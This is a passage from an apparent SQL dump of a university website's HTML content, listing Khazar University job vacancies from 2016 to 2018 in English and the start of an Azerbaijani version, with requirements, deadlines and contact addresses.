10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><h3><span style=\"color:#9800cc\"><strong>Vacancy in Chemical Engineering</strong></span></h3><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong style=\"color:#9800cc\"><br style=\"margin-bottom:10px\"></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">The Department of Chemical Engineering at Khazar University is seeking a PhD in Chemical Engineering to fill the vacancy of the chair position for Fall Semester 2016 based on a 1-year contract with possibility of a tenure position. Main responsibilities will include, besides managing the department: teaching a minimum of two major courses (in English), updating and maintaining laboratory, good written and verbal communication skills, performing research, publishing good quality articles, and supervising MS and PhD students.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">The application deadline is May10, 2016. If interested, please send your CV with a cover letter to Dr. Hassan Niknafs, Dean of the Engineering College at&nbsp;<a href=\"mailto:hniknafs@khazar.org\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">hniknafs@khazar.org</a>.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><h3><span style=\"color:#9800cc\"><strong>Vacancy: Associate Professor in Persian Language</strong></span></h3><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Khazar University Department of Languages and Civilizations announces one vacancy for the position of Associate Professor in Persian Language.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Candidates must meet the following requirements:</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PhD degree in appropriate major;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At least 5 years’ teaching experience in the field;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Academic research skills.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Candidates must turn in documents within 30 days to the Khazar University Neftchilar Campus (room 506) in accordance with Order 401 of the Ministry of Education of the Azerbaijan Republic on “Rules for Hiring Professors and Instructors in Higher Education Institutions” dated 07.08.1996.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Required documents:</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID card</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Copies of diplomas</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; List of academic publications</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">For further information, please call:</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Tel: +994 12 421 7916 (215);</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Fax: +994 12 498 93 79.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Applicant Screening Committee</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><hr style=\"color:#3a3b3b;line-height:15px;text-align:justify;width:1075px;background-color:#ffffff\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><h3><span style=\"color:#9800cc\"><strong>English Language and Literature Department Chair at Khazar University</strong></span></h3><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Khazar University is seeking an English Language and Literature Department Chair who can lead the department towards achieving the department’s goals and pursuing its mission.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">The English Language and Literature Department administers the Khazar University English Language Requirements, providing all students across the University with strong knowledge of English and preparing them to perform with excellence in the English-language academic environment of the university.&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">It also offers undergraduate and graduate degree programs in English Language Teaching, English Language and Literature, Translation Studies, and General and Applied Linguistics.</p><h4><strong>Responsibilities</strong></h4><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Reporting to Vice Rector for Academic Affairs; providing academic leadership and management for the English Language and Literature department on issues such as developing curriculum and courses; contributing to evaluation of courses; recruiting; supervising; supporting the continuing professional development of academic staff; evaluating the faculty performance; teaching (undergraduate and/or graduate); and producing publications or other research outputs.</p><h4><strong>Minimum qualifications</strong></h4><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Successful candidates are required to have a PhD in Linguistics or related fields such as English Literature, could demonstrate good administrative and organizational skills, and have minimum of 5 years’ teaching experience in higher education institutions.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Interested candidates should submit a curriculum vitae with names of three references to Prof. Mahammad Nouriev, Vice Rector for Academic Affairs, email:&nbsp;<a href=\"mailto:mnouriev@khazar.org\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">mnouriev@khazar.org</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Review of the submitted applications will start immediately and continue until the position is filled.</p></div>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (791,544,'en','Jobs and Vacancies','Jobs and Vacancies','<h3 style=\"text-align:center\">VACANCY ANNOUNCEMENT</h3>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center\"=\"\"><strong>Deadline: October 10, 2018</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>Vacancy:\r\nCoordinator</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>Department/Office:\r\nInternational Affairs Office</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Khazar University is seeking a qualified\r\napplicant to fill a position of Coordinator at the International Affairs\r\nOffice.</p>\r\n<p>Minimum Requirements:</p>\r\n<ul><li>Bachelor’s degree</li><li>Excellent English language skills</li><li>Good written and verbal communication skills</li><li>Good organizational skills</li><li>Attention to details, ability to meet deadlines,\r\ntime management skills</li><li>Flexible and quick-learner able to work independently\r\nas well as in a team</li></ul><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-align:justify;background:white\"\"=\"\">Responsibilities include but are not limited\r\nto:</p>\r\n<ul><li>International student recruitment activities</li><li>Coordinate admission of international students</li><li>Coordinate international student orientation and\r\nengagement</li><li>Manage Khazar University International\r\nScholarship Program</li><li>Coordinate Mevlana Exchange Programme</li><li>Assist in implementation of other projects and\r\nprograms</li></ul><p><strong>All\r\nqualified candidates are encouraged to apply by sending their CV/resumes to </strong><a href=\"mailto:hr@khazar.org\"><strong>hr@khazar.org</strong></a><strong> by&nbsp;October\r\n10, 2018</strong><em> with\r\nthe following subject line: Coordinator at International Affairs Office</em></p>\r\n<p>Late applications will not be considered.\r\nOnly shortlisted candidates will be contacted for interviews.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>International Affairs\r\nOffice</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong></strong>The International Affairs Office of Khazar\r\nUniversity is responsible for design and implementation of the university’s\r\noverall internationalization strategy, including recruitment, admission, and\r\nengagement of international students, mobility/exchange programs for\r\nstudents/staff, cooperation with universities/organizations/foreign embassies\r\nin Azerbaijan and Embassies of Azerbaijan abroad as well as other\r\ntasks/projects contributing to the university’s mission and vision. The\r\nInternational Affairs Office also provides guidance and advising services to\r\ninternational students/scholars/visitors of Khazar University. For more\r\ninformation about the International Affairs Office visit: <a href=\"http://international.khazar.org/\">http://international.khazar.org/</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3>English Instructor&nbsp;</h3><p>The English Language and Literature Department at Khazar University is seeking qualified applicants to fill the position of an English instructor for the fall semester, 2018. The applicants should have a Master’s degree in Linguistics or English Language Teaching. Those who have at least 3 years of experience in English language teaching at universities will be given preference.</p><p>The candidates who are interested should send their CVs to Eynur Mehdiyev, Vice-chair of the Department of English Language and Literature.</p><p><strong>Email address</strong>:&nbsp;<a href=\"mailto:emehdiyev@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\">emehdiyev@khazar.org</a></p><p><strong>Deadline:&nbsp;</strong>10.09.2018</p>  <div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px\"></div><h3>Vacancy: Civil Engineering department is seeking candidates</h3>\r\n<p>Khazar University’s department of Civil Engineering is seeking candidates to fill a vacant position for teaching pertinent major courses (<em>Engineering Drawing, Fluid Mechanics, Foundation Engineering, Architectural Structures, Fundamentals of Steel design, Reinforced Concrete Fundamentals I, Hydraulics, Engineering Seismology</em>) in the Fall Semester of 2018. Holders of master and PhD degrees in the fields of civil engineering and closely related areas are welcomed to apply. The medium of instruction in the School of Engineering and Applied Sciences is English. If interested, please send your CV to the attention of Dr. Fakhranda Alimardanova, the vice dean for academic affairs of School of Engineering and Applied Sciences:&nbsp;<a href=\"mailto:falimardanova@khazar.org\">falimardanova@khazar.org</a>.</p><p><br></p><h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\">Center for students with disabilities invites students and alumni with disabilities to cooperate  <strong><br></strong></h3><p><strong></strong>Dear students\r\nand alumni with disabilities!<strong></strong></p>\r\n<p>If you are currently looking for a job, please send your CVs to <a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>. Center for\r\nStudents with Disabilities at Khazar University is ready to support you on this\r\nissue. </p>\r\n<p>If you have any questions, please contact us by e-mail or by phone (012)\r\n4211093 (ext. 234)</p>\r\n  <br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><h3>Vacancy Announcement</h3>\r\n<p><strong>Deadline</strong>: February 26, 2018</p>\r\n<p><strong>Vacancy</strong>: Assistant</p><p><strong>Department/Office</strong>: International Affairs Office</p>\r\n<p><br></p><p>Khazar University is seeking a qualified applicant to fill a position of an assistant at the International Affairs Office.</p>\r\n<p><br></p><p>Minimum Requirements:</p><ul><li>Bachelor’s degree</li><li>Excellent English language skills</li><li>Good communication skills</li><li>Flexible and quick-learner able to work independently as well as in a team</li></ul>\r\n<p><br></p><p>Responsibilities include but are not limited to:</p><ul><li>Oversee all migration issues and work with State Migration Service and Ministry of Foreign Affairs of Azerbaijan Republic</li><li>Coordinate guidance, accommodation/housing, pick-up and other services for incoming foreign students/staff/visitors</li><li>Provide assistance with international student recruitment, admission and engagement</li><li>Assist in implementation of other projects and programs</li></ul><br>\r\n<p><strong>All qualified candidates are encouraged to apply by sending their CV/resumes to <a href=\"mailto:tjafarova@khazar.org?subject=Assistant at International Affairs Office\">tjafarova@khazar.org</a> by <span style=\"color:#ff0033\">February 26, 2018</span>, with the following subject line:</strong></p><p><strong>Assistant at International Affairs Office.</strong></p>\r\n<p><br></p><p>Late applications will not be considered. Only shortlisted candidates will be contacted for interviews.</p>\r\n<p><strong><br></strong></p><p><strong>International Affairs Office</strong></p><p>The International Affairs Office of Khazar University is responsible for design and implementation of the university’s overall internationalization strategy, including recruitment, admission, and engagement of international students, mobility/exchange programs for students/staff, cooperation with universities/organizations/foreign embassies in Azerbaijan and Embassies of Azerbaijan abroad as well as other tasks/projects contributing to the university’s mission and vision. The International Affairs Office also provides guidance and advising services to international students/scholars/visitors of Khazar University.&nbsp;</p><p>For more information about the International Affairs Office visit:</p><p><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">http://www.khazar.org/en/menus/159/international_affairs_office</a></p><p><br></p><p><br></p>  <h3></h3><h3><hr style=\"width:100%;height:1px\" noshade=\"noshade\"></h3><h3>Vacancy: Mechanical Engineering department is seeking candidates<br></h3><p>Khazar University’s department of Mechanical Engineering is seeking candidates to fill a vacant position for teaching pertinent major courses (<em>Fluid Mechanics II, Materials Science, Solid Works, System Dynamics and Control, Dynamics, Theory of Machines, Machine Vibration</em>) in the Spring Semester of 2018. Holders of master and&nbsp;PhD degrees in the fields of mechanical engineering and closely related areas from Azerbaijani nationals&nbsp;are welcomed to apply. The medium of instruction in the School of Engineering and Applied Sciences is English. If interested, please send your CV to the attention of Dr. Fakhranda Alimardanova, the vice dean for academic affairs of School of Engineering and Applied Sciences:&nbsp;<a href=\"mailto:falimardanova@khazar.org\">falimardanova[at]khazar.org</a></p><p><em><strong>Deadline is February&nbsp;15, 2018.</strong></em></p><p><br></p><p><em><strong><br></strong></em></p><h3><hr style=\"width:100%;height:1px\" noshade=\"noshade\"></h3><h3>Vacancy: Computer Science and Computer Engineering department is seeking candidates  <br></h3><p><span style=\"font-weight:normal\">Khazar University’s Computer Science and Computer Engineering department is seeking candidates to fill a vacant position for teaching pertinent major courses (<em>Data Structures, Computer Organization, Operations Research, Introduction to Theory of Computation, Introduction to Compilers, Operating Systems, Information Security, Computer Graphics</em>) in the Spring Semester of 2018. Holders of MS and/or PhD degrees in the fields of CS/CE are welcome to apply. The medium of instruction in the School of Engineering and Applied Sciences is English. If interested, please send your CV to the attention of Dr. Mahammad Sharifov, the coordinator of Computer Science department, at&nbsp;<a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a>.</span></p><p><strong>Deadline is&nbsp;<em>January 31, 2018</em></strong>.</p>  <br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><h3>Vacancy: Career Center</h3><p style=\"text-align:justify\"><span style=\"font-weight:normal\">Khazar University is seeking a qualified applicant to fill a managerial position at Career Center for the Academic year of 2017-2018.&nbsp;All MS degree holders in Management or Human Resource are encouraged to apply. Good English knowledge is a must for this position. Contract will be renewable based on yearly performance report.</span></p><p style=\"text-align:justify\"><span style=\"font-weight:normal\"></span>All interested candidates are encouraged to apply by sending their CV to:&nbsp;<strong style=\"color:#0000cc\">rectorassistant[at]khazar.org</strong>&nbsp;by&nbsp;<em style=\"font-weight:normal\">December 10, 2017</em>.  <br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><h3><strong>Vacancy :&nbsp;</strong><strong style=\"text-indent:0.25in\">English Instructor</strong></h3><p><strong></strong>The English Language and Literature Department at Khazar University is seeking qualified applicants to fill the position of an English instructor for the fall semester, 2017. The applicants should have a Master’s degree in Linguistics or English Language Teaching. Those who have at least 3 years of experience in English language teaching at universities will be given preference.The candidates who are interested should send their CVs to Eynur Mehdiyev, Vice-chair of the Department of English Language and Literature&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev[at]khazar.org</a>.&nbsp;Deadline: 01.09.2017&nbsp; &nbsp;</p><hr noshade=\"noshade\"><h3><strong>Vacancy</strong></h3><p><strong></strong><strong></strong>Khazar University’s Computer Science and Computer Engineering Department is seeking candidates to fill a vacant position for teaching pertinent major courses in the Spring Semester of 2017. Holders of MS and/or PhD degrees in the fields of CS/CE are welcome to apply. The medium of instruction in the School of Engineering and Applied Sciences is English. If interested, please send your CV to the attention of Dr. Hassan Niknafs, the Acting Dean of the School of Engineering, at&nbsp;<a href=\"mailto:hniknafs@khazar.org\">hniknafs[at]khazar.org</a>.&nbsp;<strong>Deadline: 31 January</strong></p><hr noshade=\"noshade\"><p><strong><strong>Vacancy:&nbsp; Rector’s office assistant</strong>&nbsp;</strong></p><p>Khazar University is seeking an office assistant\r\nfor the rector. Duties include daily office tasks (paperwork, meeting and\r\nserving guests, scheduling events, other administrative work). \r\nCandidate must be proficient in Azerbaijani and\r\nEnglish. Russian is a benefit. Candidate must be professional, punctual,\r\nresponsible, and accurate. For inquiries please send CVs to <a href=\"mailto:contact@khazar.org\">contact@khazar.org</a> with a cover letter and “<em>Rector Assistant Application</em>” in the subject line. \r\n<strong>Deadline is December 15, 2016.</strong></p><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\"><h3>Position Title: Development and Communications Manager (Extractive Industries)&nbsp;</h3><p>Reports To: Director of Eurasia Hub Established in 2010 at Khazar University as a regional focal point of Natural Resource Governance Institute’s (NRGI) Global HUB program, the Eurasia Extractive Industries Knowledge Hub [http://www.resourcegovernance.org/learning/eurasia] is a leading center of expertise and capacity development in the extractive industries in the region of post-communist Eurasia.&nbsp;</p><p><strong>Description&nbsp;</strong></p><p>Eurasia Hub is seeking a Development and Communications Manager to help the Hub staff and NRGI Eurasia Office in implementing its projects in oil and mineral-rich countries of Eurasia.&nbsp;</p><p><strong>Responsibilities&nbsp;</strong></p><div><ul><li>Development, design and management of training courses, including online course platform, coordination of Hub’s work with government officials, civil society organizations, and other key stakeholders,&nbsp;</li><li>Development, design and management of training courses, including online course platform, coordination of Hub’s work with government officials, civil society organizations, and other key stakeholders,&nbsp;</li><li>&nbsp;Conduct fundraising campaigns to identify and contact potential donors; maintain existing collaboration with funders to ensure long term sustainability,&nbsp;</li><li>Write regular reports on ongoing and completed projects in an accurate and timely manner,&nbsp;</li><li>Logistic support to Hub workshops and other events,&nbsp;</li><li>External communication with media and other partner institutions,&nbsp;</li><li>Actively work with Hub alumni to strengthen post-training capacity building, dissemination of knowledge and networking among alumni.&nbsp;</li></ul></div><p><strong>Requirements:&nbsp;</strong></p><ul><li>At least 3 years’ professional experience related to public finance, economics, development studies or related field,&nbsp;</li><li>Graduate degree, preferably from a western-accredited university, in economics, development studies or any other field of social sciences,&nbsp;</li><li>Familiarity with political-economic problems related to the management of petroleum and mineral resources,&nbsp;</li><li>Fluency in English, Russian and Azerbaijani languages,&nbsp;</li><li>Excellent communication and organization skills.&nbsp;</li></ul><p><strong>Location:</strong> Baku, Azerbaijan&nbsp;</p><p><strong>Start date:</strong> 1 August 2016&nbsp;</p><p><strong>To apply:</strong> Please send a cover letter and CV to hub.eurasia<a href=\"mailto:hniknafs@khazar.org\" style=\"color:#000000\">[at]</a>gmail.com.&nbsp;</p><p>Please include in subject line: &nbsp;Development and Communications Manager.&nbsp;</p><p><strong>Deadline:</strong> June 27, 2016. Only shortlisted candidates will be notified and invited for an interview. Interviews will be held in the first week of July at Eurasia Hub’s office located in Khazar University’s Neftchilar campus.</p><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\">\r\n<br><h3>Vacancy: English Instructor</h3><p>The English Language and Literature Department at Khazar University is seeking qualified applicants to fill the position of part-time English instructors in the fall semester 2016. The applicants should have a Master’s degree in Linguistics or English Language Teaching. Those who have at least 3 years of experience in English language teaching at universities will be given preference.</p><p>Those who are interested should send their CV to Eynur Mehdiyev, Major Programs Coordinator of English Language and Literature Department at emehdiyev[at]khazar.org&nbsp;</p><p><strong>Deadline: </strong>01.09.2016&nbsp;</p>\r\n<h3><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\">Vacancy for Finance Division Coordinator, Department of Economics and Management</h3><p>Khazar University Department of Economics and Management announces a vacancy for Finance Division Coordinator.</p><p><strong>Job Description</strong></p><ul><li>To assist the Head of Department in the preparation of departmental documentation including programs of study and schemes of work.</li><li>To assist the Head of Department in the planning and implementation of subject related activities and events.</li><li>To collect and analyze preliminary information related to various programs of study.</li><li>To teach Finance courses at the undergraduate and master levels.</li><li>To communicate with teachers and collect syllabi.</li><li>To conduct academic research and publish in scholarly journals.</li><li>To help with the overall operation of the department by undertaking tasks as requested and directed by the Head of Department.</li></ul><p><strong>Qualifications</strong></p><ul><li>A PhD degree (or close to completion) in Finance/Accounting.</li><li>Research potential and good teaching capabilities.</li><li>Excellent proficiency in spoken and written English.</li><li>Good computer skills including database management.</li><li>Good oral and written communication skills, and ability to work effectively.</li><li>Discretion</li><li>A bright and positive attitude, and self-motivation</li><li>Good time and stress management skills</li><li>Collegiality: respectful, approachable and team oriented, building strong working relationships and a positive work environment.</li></ul><p><strong>Preferable start of employment is September 2016.</strong></p><p>Interested candidates are invited to send a Curriculum Vitae with names of three references and a letter of motivation by email to the Head of Department, Dr. Jeyhun Mammadov, atjmammadov@khazar.org</p><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\"><br><h3>Vacancy in Chemical Engineering</h3><p>The Department of Chemical Engineering at Khazar University is seeking a PhD in Chemical Engineering to fill the vacancy of the chair position for Fall Semester 2016 based on a 1-year contract with possibility of a tenure position. Main responsibilities will include, besides managing the department: teaching a minimum of two major courses (in English), updating and maintaining laboratory, good written and verbal communication skills, performing research, publishing good quality articles, and supervising MS and PhD students.</p><p>The application deadline is May10, 2016. If interested, please send your CV with a cover letter to Dr. Hassan Niknafs, Dean of the Engineering College at hniknafs@khazar.org.</p>\r\n<h3><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\">Vacancy: Associate Professor in Persian Language</h3><p>Khazar University Department of Languages and Civilizations announces one vacancy for the position of Associate Professor in Persian Language.</p><p><strong>Candidates must meet the following requirements:</strong></p><ul><li>PhD degree in appropriate major;</li><li>At least 5 years’ teaching experience in the field;</li><li>Academic research skills.</li></ul><p>Candidates must turn in documents within 30 days to the Khazar University Neftchilar Campus (room 506) in accordance with Order 401 of the Ministry of Education of the Azerbaijan Republic on “Rules for Hiring Professors and Instructors in Higher Education Institutions” dated 07.08.1996.</p><p><strong>Required documents:</strong></p><ul><li>ID card</li><li>Copies of diplomas</li><li>List of academic publications</li></ul><p><strong>For further information, please call:</strong></p><p>Tel: +994 12 421 7916 (215);</p><p>Fax: +994 12 498 93 79.</p>\r\n<h3><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\">Applicant Screening Committee</h3><p>English Language and Literature Department Chair at Khazar University</p><p>Khazar University is seeking an English Language and Literature Department Chair who can lead the department towards achieving the department’s goals and pursuing its mission.</p><p>The English Language and Literature Department administers the Khazar University English Language Requirements, providing all students across the University with strong knowledge of English and preparing them to perform with excellence in the English-language academic environment of the university.&nbsp;</p><p>It also offers undergraduate and graduate degree programs in English Language Teaching, English Language and Literature, Translation Studies, and General and Applied Linguistics.</p><p><strong>Responsibilities</strong></p><p>Reporting to Vice Rector for Academic Affairs; providing academic leadership and management for the English Language and Literature department on issues such as developing curriculum and courses; contributing to evaluation of courses; recruiting; supervising; supporting the continuing professional development of academic staff; evaluating the faculty performance; teaching (undergraduate and/or graduate); and producing publications or other research outputs.</p><p><strong>Minimum qualifications</strong></p><p>Successful candidates are required to have a PhD in Linguistics or related fields such as English Literature, could demonstrate good administrative and organizational skills, and have minimum of 5 years’ teaching experience in higher education institutions.</p><p>Interested candidates should submit a curriculum vitae with names of three references to Prof. Mahammad Nouriev, Vice Rector for Academic Affairs, email: mnouriev@khazar.org</p><p>Review of the submitted applications will start immediately and continue until the position is filled.</p>'),(792,544,'az','Vakansiyalar','Vakansiyalar','<h3>Vakansiya:&nbsp;Beynəlxalq əlaqələr şöbəsi koordinator axtarır  </h3>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;background:white\"\"=\"\">Xəzər\r\nUniversiteti Beynəlxalq əlaqələr şöbəsi koordinator vəzifəsi üzrə vakansiya\r\nelan edir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><strong>Minimum\r\ntələblər:</strong></p>\r\n<ul><li>Bakalavr dərəcəsi;</li><li>Əla ingilis dili biliyi;</li><li>Yaxşı yazılı və şifahi ünsiyyət bacarığı;</li><li>Yaxşı təşkilatçılıq bacarığı;</li><li>Təfsilatlara fikir vermək, öhdəlikləri vaxtında icra etmək, vaxtı\r\nidarə etmək bacarığı;</li><li>Müstəqil və komanda işinə uyğulaşma, sürətli mənimsəmə bacarığı.</li></ul><p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Vəzifə\r\nöhdəlikləri aşağıda göstərilmiş, eləcə də, digər bacarıqları ehtiva edir:</p>\r\n<ul><li>Əcnəbi tələbələrin qəbulu prosesi;</li><li>Əcnəbi tələbələrin qəbulunun koordinasiyası;</li><li>Əcnəbi tələbələrin yönləndirilməsi və fəaliyyətə\r\ncəlb edilməsi;</li><li>Xəzər\r\nUniversiteti Beynəlxalq Təqaüd Proqramının idarə edilməsi;</li><li>Mevlana\r\nMübadilə Proqramının koordinasiya edilməsi;</li><li>·Digər\r\nlayihə və proqramların icrasında iştirak edilməsi.</li></ul><p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Müraciət\r\netmək istəyənlər <strong>2018-ci il oktyabrın 10-dək</strong> öz CV-lərini “<em>Coordinator at International\r\nAffairs Office</em>” mövzusu ilə aşağıdakı emailə\r\ngöndərə bilərlər:&nbsp;<a href=\"mailto:hr@khazar.org\"><strong>hr@khazar.org</strong></a><em><strong>.</strong></em></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Gecikmiş müraciətlər\r\nnəzərə alınmayacaq. Ancaq seçilmiş namizədlərlə əlaqə saxlanılacaq.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Müraciət\r\nüçün son tarix: 10 oktyabr 2018-ci il.</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Beynəlxalq əlaqələr şöbəsi </strong></p>\r\nXəzər Universiteti\r\nBeynəlxalq əlaqələr şöbəsinin vəzifəsi əcnəbi tələbələrin qəbulu, qeydiyyatı, təlimlərə\r\ncəlb edilməsi, müəllim və tələbələr üçün mübadilə proqramları, universitet/təşkilat/Azərbaycandakı\r\nxarici səfirliklərlə əməkdaşlıq, eləcə də, Azərbaycanın xarici ölkələrdəki səfirlikləri\r\nilə əməkdaşlıq, o cümlədən, universitetin fəaliyyət çərçivəsində digər layihə və\r\ntapşırıqları özündə ehtiva edən beynəlmiləlləşmə strategiyasını hazırlamaq və\r\nicra etməkdir. Həmçinin, Beynəlxalq əlaqələr şöbəsi əcnəbi tələbə/tədqiqatçı/qonaqlara\r\nbələdçilik və məsləhət xidməti də göstərir. Beynəlxalq əlaqələr şöbəsi haqqında əlavə\r\nməlumatı bu link vasitəsilə əldə etmək olar: <a href=\"http://international.khazar.org/\">http://international.khazar.org/</a>.&nbsp;<div><br><hr>\r\n<h3>Vakansiya: İnşaat Mühəndisliyi departamenti müəllim axtarır</h3>\r\n<p>Xəzər Universitetinin 